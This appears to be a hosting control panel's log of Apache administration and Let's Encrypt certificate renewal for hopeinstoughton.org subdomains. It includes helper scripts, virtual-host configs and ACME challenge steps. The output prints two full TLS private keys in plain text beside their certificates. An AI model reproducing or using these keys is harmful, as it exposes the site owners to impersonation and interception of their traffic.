         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost pluto.hostz.org (/etc/apache2/sites-enabled/hostz_pluto_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost pluto.hostz.org (/etc/apache2/sites-enabled/hostz_pluto_org.conf:30)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:25)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-05-14 06:01:55: 

PUT: /tmp/pkp110773

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-14 06:01:55: 

chmod 755 /tmp/pkp110773; /tmp/pkp110773; rm /tmp/pkp110773

2026-05-14 06:01:56: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf	2965
<VirtualHost *:80>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/qwerty/(.*) ws://192.168.1.19/$1  [P,L]
    
    #<Location /qwerty/>
#    ProxyHTMLEnable On
#    ProxyHTMLExtended On
#   ProxyPassReverse /
#   SetOutputFilter  proxy-html
#   ProxyHTMLURLMap / ./
#</Location>
#    ProxyPass  /qwerty/ http://192.168.1.19/
#    ProxyPassReverse /qwerty/ http://192.168.1.19/
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php
</VirtualHost>







2026-05-14 06:01:56: 

PUT: /tmp/pkp722897

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-14 06:01:56: 

chmod 755 /tmp/pkp722897; /tmp/pkp722897; rm /tmp/pkp722897

2026-05-14 06:01:56: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734	5381
6a:37:ca:75:77:5d:71:9e:25:08:70:64:9c:7a:12:13

-----BEGIN CERTIFICATE-----
MIIFDTCCA/WgAwIBAgISBTSeKbIe99ixgrQsAPy3Y/i6MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTE0MDUwMzE2WhcNMjYwODEyMDUwMzE1WjAlMSMwIQYDVQQD
ExpjeWdudXMuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAMLBvKLjO9W9lEEg/MN2hlbGHHR+1LDa0YiBNAzIHgqy4vXF
Pi1KhGOdLIQlyOH01bsuCtk1cTE0HjeLMm/VoKKDDjJwntTc7OHbTgVWW72dYGO4
4sBr+pfhC5bBCZkW0TzQ5BR9FHSucCdyGaJMoq/+K2gpF1Z4N7iIAwl9ndnCWHqT
Ef5AqH1aoikDDFNsvQtzQk/DuGG0OG+NJEmCPBPWWGT9js9p4ozVPMEGp0nXTmMN
Q87x03ofqDgtVyO9FEo58sLNIrp4YXhEhBa8Prr0/Shdaq4K2xuKY5JhSfoefch0
1j0S7D1UHyh/GCIS+Oa1QHH1g2jQ7lTWFjFA4rMCAwEAAaOCAicwggIjMA4GA1Ud
DwEB/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBQuiSfxHMUoFsrmCIHp9V/5uA7ekjAfBgNVHSMEGDAWgBTnq58PLDOg
U9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTMuaS5sZW5jci5vcmcvMCUGA1UdEQQeMByCGmN5Z251cy5ob3BlaW5zdG91
Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNTkuY3JsMIIBCwYKKwYBBAHWeQIEAgSB
/ASB+QD3AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGeJROs
OQAABAMARjBEAiAkoATd6/e8SVwsLxg6SwQwEKRFk2rxjT5AoQY4CtY5PAIgPWrd
u7p7stA57YOFCFdrY3Do2yIFpFuhQHC4cofrIX0AfgAm42RuWGkhI7w0P0ckNZs3
ks0kWojYFdOTM/2ZGKtHIwAAAZ4lE6wSAAgAAAUAEP0UWgQDAEcwRQIgW5XuXSBT
lEv+Ux3D13A/Re3vnsVetqPaFdwV+0KrJNwCIQDeFpTE2q7SOOBwgPnEbsQhOR3h
ilMKQDt2f5ePenDyvjANBgkqhkiG9w0BAQsFAAOCAQEAVidjFAQVTjXI8tfB6NoR
DLjoN96Ee78P0ZRQ4mwXu5dlFTHbw0WVYzW+MGC2TO3N26uuJFrRFshrS8PGrCUx
KqwQmWV2mO3bg5TvJrXr/F++meN3c9rlAfMazhS35KPncx/ktMUHFRRiumhlWTO0
lymYHzb2tMFqwbXJ1Ms7++phJYGNNF+720M/Kd/VMHgiJOojXDwjNafoCdeKHyGg
J6fGeC5WiL6PHTawx5vY/8VOtnYKlDfN6iq2pHzPO12nbUfQMxVjFLOq42iHghct
ZWL8yzjsf5YP9b+U9utVzRih1ff8nHjTxSVMCY7eAN8IN2zshct4ohE3qLoDTClJ
CQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDCwbyi4zvVvZRB
IPzDdoZWxhx0ftSw2tGIgTQMyB4KsuL1xT4tSoRjnSyEJcjh9NW7LgrZNXExNB43
izJv1aCigw4ycJ7U3Ozh204FVlu9nWBjuOLAa/qX4QuWwQmZFtE80OQUfRR0rnAn
chmiTKKv/itoKRdWeDe4iAMJfZ3Zwlh6kxH+QKh9WqIpAwxTbL0Lc0JPw7hhtDhv
jSRJgjwT1lhk/Y7PaeKM1TzBBqdJ105jDUPO8dN6H6g4LVcjvRRKOfLCzSK6eGF4
RIQWvD669P0oXWquCtsbimOSYUn6Hn3IdNY9Euw9VB8ofxgiEvjmtUBx9YNo0O5U
1hYxQOKzAgMBAAECggEADUxxOUZ1p5IwoMPfhXq/EJlg9eTlNBl+J3KM1mSYqkVb
g6UqhalXvVi60DuC1/8K+NokpVp37UmLtBkZhu5sXYWbkX7fn1WGUez3VBxmkblA
sVn0YB6WSgrQRkTOBzCVmlSTz5MzxbzDSQ9l2kZVOmxCJqtLophGeJ+hiXWU6bF9
M8qp9p/ABRJ+kt1drR/FWC/w8frT1zhibWvUk6f/thTvFLhJSLfwVpKBR1srOQ18
PfcXyg1oF0egjq2w2qoQKz5A6YWw9P/J0oAqdwc+rYK6bY+Y/SeF9EtlsAyCQ4J3
aaI6+nDiQdCRYXfRVRZVD8YJ+QrBrdKJayxuddw8tQKBgQD0/gKItGnjvjRVLKxb
CAqmrbqKL8NLJcZSm02P4vZGg5+PUdDDmwVVfqw0AR8OjR1X6jdKHwU48gMpfwTJ
AUOOKA/seV93v18PChxm0OPQv6rHwo0d+qh0XF/aaeQ/vEcd2bi2fzr5NctRU+Dj
4V6b3+Tn+xRW6gUNm2OybokwXQKBgQDLgeaK+MdEBfxkqilxy+6CSpLvdsA7TIOm
ZiQc4+isQfbrCtF6DL+pBSe/VX0SIrqRJ7xTDPl+zxQ2rO9TvnelTR85ZY0nFxZM
4IcxPSJRzSJfUjkqz/MmenEf6SeLXs2eD3wzzpJmeLv2ovsJOBCygJpynGfdTTcZ
so/mdH9uTwKBgQDc782dNwZfagKL5XOxzHi+g+G8CQLX3EMT8BZsckOip8TXXPMl
08FlrozhgTleyAf0ZrZh08PD7QzI+VF5a/heVOa3XWWo+h5h0751QmCQuqjq6RqW
NJyCA2Q19lTu3X5M/zHC8s5ePBMVTs169J17eNhYFGftUbIo6T9phKGXyQKBgQDK
zXMP/welFEoHj0Op8c6H7QUsuiyra36uro9CcyUFtN76MFe8x0OgjlCj7e+ryQwf
Z3fXU9C2vGqqagA+dksJYifBrR/TWsCQcBiJyyCOYFzmnSv3LDBlohNl95W+4AUM
hOYDQtLGZ375NEXzU/nfySUhHhirgy1r4HRi9qmfJQKBgQDH+gaB/UhnEzuHXykQ
Hz87C+56nUQTedti4HOI1gtg77U1162+AC3SxVETOL8CVCt4Q5NMNRtIG5+9PSiU
P7ZnBVMwrebLZfsJauI9e8GHuuVYukNJ+ZAdcaNqqpZslSxHnnkpJkXFWxoerbns
nQL6c+RrbF368Ubue2McScL76A==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-05-14 06:01:56: Establishing a connection
2026-05-14 06:01:57: Establishing a connection
2026-05-14 06:01:59: 

PUT: /tmp/pkp777136

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_cdn3/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-14 06:01:59: 

chmod 755 /tmp/pkp777136; /tmp/pkp777136; rm /tmp/pkp777136

2026-05-14 06:02:00: 


1


2026-05-14 06:02:00: Establishing a connection
2026-05-14 06:02:01: 

PUT: /tmp/pkp168893

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
cat > 3DNu-KC1U3AJUKQDX5Z55VqpPy5W0yGacb_W36GP8Fc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
3DNu-KC1U3AJUKQDX5Z55VqpPy5W0yGacb_W36GP8Fc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 3DNu-KC1U3AJUKQDX5Z55VqpPy5W0yGacb_W36GP8Fc


2026-05-14 06:02:02: 

chmod 755 /tmp/pkp168893; /tmp/pkp168893; rm /tmp/pkp168893

2026-05-14 06:02:02: 




2026-05-14 06:02:04: Establishing a connection
2026-05-14 06:02:04: Establishing a connection
2026-05-14 06:02:05: 

PUT: /tmp/pkp435519

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_cdn1/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-14 06:02:05: 

chmod 755 /tmp/pkp435519; /tmp/pkp435519; rm /tmp/pkp435519

2026-05-14 06:02:05: 


1


2026-05-14 06:02:05: Establishing a connection
2026-05-14 06:02:06: 

PUT: /tmp/pkp515956

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
cat > Tc1Dbr3_X6xIKs-vXFZ9NXBSAZtEFAkjOOJDM1Szj0k <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Tc1Dbr3_X6xIKs-vXFZ9NXBSAZtEFAkjOOJDM1Szj0k.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Tc1Dbr3_X6xIKs-vXFZ9NXBSAZtEFAkjOOJDM1Szj0k


2026-05-14 06:02:06: 

chmod 755 /tmp/pkp515956; /tmp/pkp515956; rm /tmp/pkp515956

2026-05-14 06:02:06: 




2026-05-14 06:02:09: Establishing a connection
2026-05-14 06:02:10: 

PUT: /tmp/pkp931558

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn1/.well-known/acme-challenge/"
rm Tc1Dbr3_X6xIKs-vXFZ9NXBSAZtEFAkjOOJDM1Szj0k


2026-05-14 06:02:10: 

chmod 755 /tmp/pkp931558; /tmp/pkp931558; rm /tmp/pkp931558

2026-05-14 06:02:10: 




2026-05-14 06:02:10: Establishing a connection
2026-05-14 06:02:10: 

PUT: /tmp/pkp651530

#!/bin/bash
temp_file=$(mktemp)
TARGET=0660cc0c014b1256b25525c3494eafa0.crt

cat > $temp_file <<'endmsg'
99:86:35:7f:d7:8c:cb:e6:a0:8b:e8:75:bc:5b:3c:c4

-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBa+6+td79S445deHAIvh0iyfMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTE0MDUwMzM5WhcNMjYwODEyMDUwMzM4WjAjMSEwHwYDVQQD
ExhjZG4xLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDkOMqK2Rac0rUmPx/KE924jgVmc6olZI+sVDxXR9P5JINyKgZB
TmeWqTWNb8s5AphP3fKOdOe9iWMyIkpLg7fQZPDbUzpcRebl3hmDtIrJ1xvP04mE
QIejrnBDU7x9x8BYopigSSUhMODVxriOzDzZtSH0J+j2Pgjjm89XgXBPBCzWJLu+
+ZB8MlvkpltVPUd2pCXANmx1p4GMR499CZsAAgiCWJ1EwoAJnyTFkOVAY2b+CYwK
XyrAVk1aP2ESMrYRvVA+abaQJkABFHskZwl4lBNkG1ravq5gUArzQwTP3iMjesQY
+4kCP8HI2LoAtB10G9yQVatjynbr95Z4kP07AgMBAAGjggInMIICIzAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUTcVb4wQ+6eaBHKznX/X7z8/u2nowHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAjBgNVHREEHDAaghhjZG4xLmhvcGVpbnN0b3VnaHRv
bi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy8zMi5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7
APkAdgDIo8R/x7OtuTVrAT9qehJt4zpOQ6XGRvmXrTl1mR3PmgAAAZ4lFAReAAAE
AwBHMEUCICcRdERlrDD/jH7jDxGoLr3uS6ze6LgU1kDkMMIRBOrZAiEA3ubVzwbU
MHTwWNBkkU30PEeHjfvsBs6I8cNxoL9XtTgAfwBGr4Y9Oz7ln6V33qgkXTaw2e0i
oiP0YXdBIpRS7pVQXwAAAZ4lFAT6AAgAAAUABpAi3gQDAEgwRgIhAOJkdQK0HPFc
IZQi2VSecYTuLSt7vpgWCD/LUBQpUOToAiEA2p7UjqWfv58La3xZDZ9h3bLLeeDd
1+DwtkO6KEi5H9kwDQYJKoZIhvcNAQELBQADggEBACsVIJ6A39thNU13XadYUurB
rS9CabTsrjrGxxgcWPimM5aIzM4CbphXSyx0zL4oVW+C/N4dMWsEdlNbyVhKnUtG
53PEzPAjYhwyQyOMNms6RnNVyubz4rSbnSRVtFWTTZJyF18fiUiMU/1nIxiurabf
arMGTBj5sn6SbaSlITZZb45q+O3CtnwlJyOhglMaqMNXdRAdpmKoBkJ2FcBNoswj
ySLGzuPOJQ1OgEgve/PPZf7V6Q6lc4tx0Yt4Gn2VuDfs624e7FWywsVo33AVBKGr
iELrD2KKVoaOt45EHZPZgq5pQyIf07C/2T5mQ227fMzdCgs+CieU/QFq8462uR8=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDkOMqK2Rac0rUm
Px/KE924jgVmc6olZI+sVDxXR9P5JINyKgZBTmeWqTWNb8s5AphP3fKOdOe9iWMy
IkpLg7fQZPDbUzpcRebl3hmDtIrJ1xvP04mEQIejrnBDU7x9x8BYopigSSUhMODV
xriOzDzZtSH0J+j2Pgjjm89XgXBPBCzWJLu++ZB8MlvkpltVPUd2pCXANmx1p4GM
R499CZsAAgiCWJ1EwoAJnyTFkOVAY2b+CYwKXyrAVk1aP2ESMrYRvVA+abaQJkAB
FHskZwl4lBNkG1ravq5gUArzQwTP3iMjesQY+4kCP8HI2LoAtB10G9yQVatjynbr
95Z4kP07AgMBAAECggEACzvCYyA5YoxlOes3K4axI1xA5stAWj5/az+ViBmd1PBs
/z8TTL6eZFuS1RHmImRpeTDsYgJeGnBl72ShseLbYYi+aZqd+kcUjPGoNtk5paK5
beWJ1MvVAVkHket6u9mLswaEgGCT+8oV9F/SMMaGeOmCBixlZU17ZDIEptgqXjE3
bujY2bvg4qVc7doAMe1mtYUsdYbBsOsFXCcLlhOR2O3yPA9/bUIECLH1WtQq9q80
GF5P6ZWIXJNNt+0we8PsuQZT7+N5hPV+qXTRWm5znuzhVDgfOoG6KQgx4bqYcfgy
CNei+RebGxH6wtbnpPTcG/Cu/MluB/1rJsP6I/YyUQKBgQD8nkwJobjuP/q9MjVV
p0yt4r/QMb8+zBKxTVFfa6E184xDh8yPcs4+NcKw72oyUcBHV8y54UH4hHJnv1T9
/OuJmIyE4rsKIColTxsGWDMw/HC34DISM67m+5j6WyvB6Qr/4zvFDkXs0CdYoC1o
eTpyZUU1yZrIqSPfeaH70is1kQKBgQDnRuOnNYtyZ/N1H0ZxNC6Hb+YHYolID980
OZYDAjl8dbGUhBx9LkDr6ucEPAiV2HFoxfZT2u+sus/3tQ79+D1jE56vAnnoLIBz
7OngkwbAjfsMmQZVXcbcYGosJqzJdqcDek9wNAyjbgtow2FbWrP6l4Zin0giHfx1
3O4j5MKwCwKBgQDGIzbKmzEclcwJ1zaj/vuSq3X9SveQvqmurVE0wYuJcIREd2AH
52lCvBH/i1lFLH/etUvbQ4Xl8aR2IUj9igIIQ0F7/QXtNDs6ViiBOm60blvOrSc4
xZbajt53B0lz52B8QfOgZMiNrNoflkrnVaZ1EV9Oh9lCp/9+Cb32cOr5MQKBgFvY
MQv0HZ6fXXWDqAvItzmd3HHOVcpCU1eADuy+82lTq+PY2x9zQODvdjKeTKKFQ/Rh
uULvzQKBZZlvU7bT4Dz6S6ggiZ0EHzbqPK6sdJ//QlVsZ7F6/kACIefKrA+NiSG+
btGWOfak+u7tuDn5OUQo7Hs52gGCewGrbP7gF9ilAoGBAJ6q3v/gTHA09yfJqyFb
Ja+VFDNPPGMmeLpyB9eIm338SPAfPRPLD+g7RnM5dcbbwvTBCbWCUrhehcFOERWq
n0mKvTN5+W9xOL6IyiaroK+YlpbgUOapRzWdmirp2dq0rYY9bBBYQhwikoItYs02
WTnv0Nn1/zMHZywLqAe/zhVN
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
